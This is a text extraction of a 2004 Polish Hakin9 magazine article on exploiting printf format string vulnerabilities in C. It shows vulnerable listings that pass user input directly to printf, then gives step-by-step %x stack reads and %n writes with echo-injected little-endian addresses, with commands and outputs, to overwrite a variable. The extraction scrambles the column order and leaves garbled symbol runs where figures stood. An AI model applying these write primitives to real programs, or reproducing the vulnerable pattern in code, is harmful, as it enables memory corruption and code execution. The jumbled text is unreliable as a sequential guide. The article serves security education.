jak wykorzystać błędy związane ze stosowaniem ciągów formatujących.pdf

(687 KB) Pobierz
4302585 UNPDF
Nadużycia z wykorzystaniem
ciągów formatujących
Piotr Sobolewski, Tomasz Nidecki
Artykuł opublikowany w numerze 5/2004 magazynu Hakin9
Wszelkie prawa zastrzeżone. Bezpłatne kopiowanie i rozpowszechnianie artykułu dozwolone
pod warunkiem zachowania jego obecnej formy i treści.
Magazyn Hakin9 , Wydawnictwo Software, ul. Lewartowskiego 6, 00-190 Warszawa, hakin9@hakin9.org
4302585.029.png
Nadużycia z wykorzystaniem
ciągów formatujących
Piotr Sobolewski, Tomasz Nidecki
W drugiej połowie 2000 r.
w środowiskach związanych
z bezpieczeństwem systemów
informatycznych zawrzało.
Odkryto całkiem nową klasę
nadużyć. Okazało się, że
mnóstwo programów, między
innymi tak znane aplikacje
jak wu-ftpd, Apache i PHP3
czy screen, ma poważne
dziury. A wszystko przez ciągi
formatujące.
gi tekstowe zawierające specjalne
znaczniki rozpoznawane przez funk-
cję printf() i jej pochodne (np. sprintf() ,
fprintf() ). Umożliwiają określenie formatu,
w jakim wyświetlone zostaną podane funkcji ar-
gumenty. Jeśli program umożliwia użytkowni-
kowi przekazanie własnego ciągu tekstowego,
a następnie użyje go jako ciągu formatującego,
w wielu przypadkach intruz może tak przygo-
tować ciąg, by spowodować wykonanie przez
program własnego kodu.
$ ./listing_2
Nazwa irmy: Da
Przeanalizujmy sposób działania ciągów for-
matujących, by dowiedzieć się, skąd nasz pro-
gram wziął wyświetlony ciąg Da .
Na Rysunku 1 widać, co dzieje się na sto-
sie, kiedy wykonywany jest program z Listin-
gu 1 (po wywołaniu funkcji printf() ). Na chwi-
lę przed wywołaniem funkcji na stos odkłada-
ne są argumenty: wskaźnik do ciągu a i wskaź-
nik do ciągu formatującego. Następnie funkcja
printf() bierze ze stosu wskaźnik do ciągu for-
matującego i wypisuje ten ciąg. Kiedy natraia
Sposób działania ciągów
formatujących
Aby zrozumieć, jak działają ciągi formatujące
i jak można wykorzystać je do przejęcia kontroli
nad czyimś programem, spójrzmy na Listing 1.
Przedstawia on program, który korzysta z cią-
gu formatującego, by wypisać krótki tekst:
Z artykułu nauczysz się...
• jak wykorzystać ciągi formatujące do przejęcia
kontroli nad dziurawym programem,
• jak uniknąć błędów umożliwiających wykorzy-
stanie ciągów formatujących we własnych pro-
gramach.
Powinieneś wiedzieć...
• powinieneś znać podstawy programowania
w języku C.
$ ./listing_1
Nazwa irmy: Ogrodpol
Co jednak stanie się, jeśli funkcja printf() otrzy-
ma ciąg formatujący, ale nie otrzyma argumen-
tu? Spróbujmy uruchomić program z Listingu 2:
2
www.hakin9.org
Hakin9 Nr 5/2004
C iągi formatujące w języku C to cią-
4302585.030.png 4302585.031.png 4302585.032.png 4302585.001.png 4302585.002.png 4302585.003.png
Ciągi formatujące
Tabela 1. Najważniejsze znaczniki w ciągach formatujących
znacznik
formatujący
wynik
przekazywany jako
Listing 1. Prosty program
korzystający z ciągu
formatującego
%d
liczba całkowita
wartość
%u
liczba naturalna
wartość
int main () {
char * a = "Ogrodpol" ;
printf ( "Nazwa irmy: %s \n " , a );
}
%x
liczba naturalna,
szesnastkowa
wartość
%s
ciąg tekstowy
odniesienie
%n
liczba wypisanych
dotąd znaków
odniesienie
Listing 2. Program z Listingu 1
pozbawiony argumentu
���������������
�������������������
int main () {
printf ( "Nazwa irmy: %s \n " );
}
�����������
�������� ��
ze stosu wskaźnik do łańcucha zna-
ków. Ponieważ jednak nie przekaza-
liśmy argumentu, funkcja nie znaj-
dzie tam wskaźnika. Bierze więc ze
stosu kolejne cztery bajty(zawiera-
jące przypadkowe wartości) i traktu-
je je jako wskaźnik do łańcucha zna-
ków, a następnie wypisuje domnie-
many łańcuch.
�����������
�����
�������������
����������
�������� ��������
�������������
���������� ��������
Rysunek 1. Co dzieje się na stosie przy wykonywaniu programu z Listingu 1
���������������
�������������������
Jak wykorzystać właściwości
ciągów formatujących
Pole do popisu dla intruza otwiera
się, kiedy programista umożliwi prze-
kazanie ciągu tekstowego tak, by zo-
stał wykorzystany jako ciąg formatu-
jący. Spójrzmy na program z Listin-
gu 3. Teoretycznie nie widać w nim
żadnego błędu – użytkownik podaje
jako argument programu tekst, który
zostaje wypisany. Jeśli jednak w cią-
gu podanym przez użytkownika znaj-
dą się znaki formatujące, efekty mo-
gą być zupełnie inne niż te zamierzo-
ne przez programistę.
Jak już zauważyliśmy po anali-
zie programu z Listingu 2, korzystając
z ciągów formatujących będziemy mo-
gli odczytać wartość stosu. Użyjmy
ciągu %x , który powoduje potraktowa-
nie argumentu jako czterobajtowego
adresu i wypisanie go szesnastkowo:
�����������
�����
�������������
����������
�������� ��������
�������������
���������� ��������
Rysunek 2. Co dzieje się na stosie przy wykonywaniu programu z Listingu 2
na znacznik %s , bierze ze stosu kolej-
ny argument – wskaźnik do zmiennej
a. Następnie wypisuje to, na co kie-
ruje wskaźnik, jako tekst ( %s – ciąg
tekstowy, patrz Tabela 1).
Z kolei na Rysunku 2 widać, co
dzieje się na stosie podczas wykona-
nia printf() w programie z Listingu 2.
Kiedy printf() wypisując ciąg forma-
tujący natraia na %s , próbuje pobrać
Listing 3. Prosty program
umożliwiający wykorzystanie
właściwości ciągów
formatujących do własnych
celów
Listing 4. Prawidłowe użycie znacznika %n
int main ( int argc , char ** argv ) {
char f [ 256 ];
strcpy ( f , argv [ 1 ]);
printf ( f );
}
int main () {
int a ;
printf ( "raz dwa trzy %n \n " , & a );
printf ( "wypisano %d znaków \n " , a );
}
Hakin9 Nr 5/2004
www.hakin9.org
3
4302585.004.png 4302585.005.png 4302585.006.png
 
4302585.007.png 4302585.008.png 4302585.009.png 4302585.010.png 4302585.011.png 4302585.012.png 4302585.013.png 4302585.014.png 4302585.015.png 4302585.016.png 4302585.017.png
Listing 5. Program, który spróbujemy zaatakować
spróbujmy umieścić w niej (na sa-
mym początku tablicy) ciąg AAAA ,
a następnie wypisać go za pomocą
znacznika %x . W tym celu wydajmy
polecenie:
int main ( int argc , char ** argv ) {
int x ;
char f [ 2560 ];
strcpy ( f , argv [ 1 ]);
printf ( f );
printf ( " \n zmienna x umieszczona jest pod adresem §
%x, jej zawartość to 0x%x \n " , & x , x );
}
$ ./listing_5 'AAAA-%x-%x-%x-%x-%x'
AAAA-bffffc44-0-0-41414141-2d78252d
zmienna x umieszczona jest pod adresem
bffffaac, jej zawartość to 0x40156238
$ ./listing_3 '%x-%x-%x'
bffffc4f-0-0
kiego pola do popisu. Możemy co
najwyżej spowodować zakończenie
programu z błędem. Aby uzyskać
coś więcej, musimy panować nad
tym co piszemy i gdzie piszemy .
Aby się tego nauczyć, spróbuj-
my zaatakować nieco rozbudowaną
wersję programu z Listingu 3, przed-
stawioną na Listingu 5. Rozbudowa
polega na dodaniu zmiennej z . Na-
szym celem będzie nadpisanie tej
zmiennej wybraną wartością za po-
mocą ciągu formatującego. Przyjmij-
my, że w zmiennej x umieścimy licz-
bę 287454020, czyli szesnastkowe
0x11223344.
Spróbujmy teraz uzyskać kon-
trolę nad tym, co piszemy i gdzie
piszemy . Jak łatwo wywnioskować,
ciąg xxx%n spowoduje zapisanie
pod przypadkowym adresem licz-
by trzy (przed %n są bowiem trzy
znaki), a na przykład ciąg xxxxxx%n
– liczby sześć . Wiemy więc już, jak
panować nad tym, co piszemy. Nie-
co trudniej uzyskać kontrolę nad
tym, gdzie piszemy.
Zauważmy, że adres, pod któ-
ry zostanie zapisana wartość, jest
brany ze stosu. Jak widać przy po-
równaniu Rysunków 1 i 2, w miejscu,
w którym printf() spodziewa się ko-
lejnych adresów (czyli nad ciągiem
formatującym) znajdują się zmien-
ne lokalne funkcji, która wywołuje
printf() . W naszym przypadku są to
zmienne lokalne funkcji main() . Jeśli
w którejś z tych zmiennych umieści-
my adres, pod który chcemy pisać,
zostanie on – w sprzyjających oko-
licznościach – potraktowany przez
printf() jako adres, pod który ma
zostać zapisana wartość.
Aby przekonać się, że printf()
rzeczywiście może potraktować za-
wartość zmiennej f jako argument,
Jak widać, po napotkaniu znaczni-
ka %x funkcja printf() pobrała ze
stosu czterobajtowe słowo (oczeku-
jąc w tym miejscu argumentu) i wypi-
sała je szesnastkowo: bffffc44 . Dru-
gi znacznik spowodował wypisanie
drugiego czterobajtowego słowa ze
stosu, podobnie kolejne. Zauważ-
my, że czwarty znacznik %x spowo-
dował wypisanie liczby 0x41414141,
a jest to zapisany szesnastkowo ciąg
AAAA .
Oznacza to, że pierwsze czte-
ry bajty tablicy f[] są przechowy-
wane na stosie w takim miejscu,
że printf() traktuje je jako czwarty
pseudoargument. W takim razie, je-
śli zamiast czwartego znacznika %x
użyjemy %n , ten pseudoargument zo-
stanie potraktowany jako adres, pod
który chcemy pisać. W efekcie wyda-
nie polecenia:
Jak się jednak okazuje, stosując je-
den ze znaczników możemy także
pisać w dowolnym miejscu pamię-
ci. Znacznikiem odpowiedzialnym za
ten stan rzeczy jest %n . Powoduje on,
że do zmiennej, której adres poda-
ny został jako argument, zapisywa-
na jest wypisana dotychczas licz-
ba znaków. Prawidłowe użycie te-
go znacznika można zaobserwować
w programie z Listingu 4:
$ ./listing_4
raz dwa trzy
wypisano 13 znaków
Jak widać, pierwsze printf() wypi-
suje raz dwa trzy , a następnie za-
pisuje w zmiennej a liczbę wypi-
sanych znaków (czyli trzynaście).
Drugie printf() wypisuje zawartość
zmiennej a .
Gdybyśmy jednak w pierwszym
printf() nie podali argumentu (ad-
resu zmiennej a ), ze stosu pobrane
zostałyby pierwsze z brzegu czte-
ry bajty, potraktowane jako adres
i pod ten właśnie adres zapisana zo-
stałby liczba wypisanych dotąd zna-
ków. Spróbujmy podać programowi
z Listingu 3 ciąg zawierający %n :
$ ./listing_5 'AAAA-%x-%x-%x-%n-%x'
spowoduje zapisanie jakiejś liczby
pod adresem 0x41414141 .
My jednak nie chcemy pisać pod
adres 0x41414141 , ale pod adres, pod
którym przechowywana jest za-
wartość zmiennej x . Ten adres to
0xbffffaac . Umieszczenie w tablicy
f[] bajtu 0x41 było dość proste – tej
liczbie odpowiada litera A w kodzie
ASCII. Aby umieścić tam liczbę 0xbf,
której nie odpowiada żadna zwykła
litera, musimy zastosować mały trik.
Wykorzystamy do tego celu dwa
fakty. Po pierwsze: za pomocą pole-
cenia echo możemy wypisać dowol-
ny bajt. Wystarczy użyć przełączni-
ka -e i podać szesnastkowo odpo-
wiedni kod:
$ ./listing_3 '%n %n %n %n'
Segmentation fault
Program próbował zapisywać pod lo-
sowymi adresami wartości określają-
ce liczbę wypisanych znaków. Spo-
wodowało to błąd segmentacji.
Szersze możliwości
Zapisywanie losowych liczb pod lo-
sowymi adresami nie daje zbyt wiel-
$ echo -e "\x41\x42\x43\x44"
ABCD
4
www.hakin9.org
Hakin9 Nr 5/2004
4302585.018.png 4302585.019.png 4302585.020.png
 
4302585.021.png
 
 
4302585.022.png 4302585.023.png 4302585.024.png
Ciągi formatujące
�� �� �� ��
287454020–18=287454002 liter C .
Prawie trzysta milionów. Nie będzie
to proste, zwłaszcza, że tablica f[]
mieści tylko 2560 bajtów.
�� �� �� ��
�� �� �� ��
Na skróty
Zanim dowiemy się, jak korzystać
ze znacznika %n do wstawiania du-
żych liczb, przyjrzyjmy się jesz-
cze jednej przydatnej cesze funk-
cji printf() . Dotąd w celu skorzy-
stania z czwartego pseudoargu-
mentu najpierw kazaliśmy printf()
skorzystać z trzech poprzednich.
W ten sposób, jeśli chcieliśmy, że-
by znacznik %n pisał pod adres
umieszczony w czwartym pseudo-
argumencie, najpierw umieszcza-
liśmy w ciągu formatującym trzy
znaczniki %x .
Ten cel można jednak osiągnąć
w prostszy sposób. Polecenie:
�� �� �� ��
�� �� �� ��
Rysunek 3. Sztuczka umożliwiająca zapisywanie dużych liczb za pomocą
mniejszych
Po drugie: jeśli w poleceniu zawrze-
my jakąś komendę zamkniętą w zna-
kach odwróconego apostrofu ( `` ), zo-
stanie ona wykonana, a poleceniu
zostanie przekazany wynik. Przy-
kład: polecenie cat `which ls` jest
równoważne cat /bin/ls .
Łącząc te dwa fakty, możemy
wydać polecenie:
resem bffffaac , musimy podać
ten adres w linii poleceń zamiast
0x11223344:
$ ./listing_5 \
`echo -e '\xac\xfa\xff\xbf'`\
'-%x-%x-%x-%x-%x'
Źú˙ż-bffffc44-0-0-bffffaac-2d78252d
zmienna x umieszczona jest pod adresem
bffffaac, jej zawartość to 0x40156238
$ ./listing_5 \
`echo -e '\x41\x41\x41\x41'`'-%4$x'
$ ./listing_5 \
`echo -e '\x41\x41\x41\x41'`\
'-%x-%x-%x-%x-%x'
Jak widać, w czwartym pseudoar-
gumencie znajduje się 0xbffffaac,
czyli adres zmiennej x . Teraz wy-
starczy zamiast czwartego znacz-
nika %x użyć %n , a spowodujemy
zmodyikowanie zawartości zmien-
nej x :
spowoduje wypisanie czwartego
pseudoargumentu – odpowiada za
to znacznik %4$x .
i będzie ono równoważne poleceniu:
AAAA-41414141
zmienna x umieszczona jest pod adresem
bffff9ec, jej zawartość to 0x4015d550
$ ./listing_5 'AAAA-%x-%x-%x-%x-%x'
Tak więc, aby czwartym pseudoar-
gumentem była liczba 0x11223344
możemy wydać polecenie:
./listing_5 \
`echo -e '\xac\xfa\xff\xbf'`\
'-%x-%x-%x-%n-%x'
Źú˙ż-bffffc44-0-0--2d78252d
zmienna x umieszczona jest pod adresem
bffffaac, jej zawartość to 0x12
Podobnie, aby zmodyikować za-
wartość zmiennej x , możemy
wprost nakazać pisanie pod adres
określony przez czwarty pseudo-
argument:
$ ./listing_5 \
`echo -e '\x11\x22\x33\x44'`\
'-%x-%x-%x-%x-%x'
./listing_5 `echo -e \
'\xac\xfa\xff\xbf'`'-%4$n'
Źú˙ż-
zmienna x umieszczona jest pod adresem
bffffaac, jej zawartosc to 0x5
Jego efekt będzie następujący:
Udało nam się nadpisać zmienną x ,
ale nie wartością 0x11223344, tylko
0x12 (dziesiątkowe 18) – tyle wła-
śnie znaków zostało wypisanych,
zanim funkcja printf() dotarła do
znacznika %n . Wystarczy więc dopi-
sać przed znacznikiem %n kilka do-
wolnych znaków (na przykład liter
C ), a do zmiennej x trai odpowiednio
większa liczba.
Policzmy, ile liter C musimy do-
dać. W tej chwili do x traia licz-
ba 18, a chcemy, żeby traiało tam
287454020, czyli szesnastkowe
0x11223344. Musimy więc dopisać
"3D-bffffc44-0-0-44332211-2d78252d
zmienna x umieszczona jest pod adresem
bffffaac, jej zawartość to 0x40156238
Uwaga: podczas przeprowadzania
eksperymentów może okazać się, że
kiedy jako argument linii poleceń po-
damy ciąg o innej długości, zmien-
na x jest przechowywana pod innym
adresem. Dlatego za każdym razem
trzeba uważnie przyglądać się po-
dawanemu przez program adresowi
zmiennej x i, jeśli trzeba, odpowied-
nio zmieniać wartość podawaną w li-
nii poleceń.
Jak widać, teraz czwartym pseudo-
argumentem jest wartość, którą po-
daliśmy w linii poleceń. Bajty pojawi-
ły się jednak w odwrotnej kolejności,
ze względu na fakt, że pracujemy na
architekturze little endian .
Chcąc więc zapisać coś w miej-
scu, pod którym przechowywa-
na jest zmienna x , czyli pod ad-
Hakin9 Nr 5/2004
www.hakin9.org
5
4302585.025.png 4302585.026.png 4302585.027.png 4302585.028.png
Zgłoś jeśli naruszono regulamin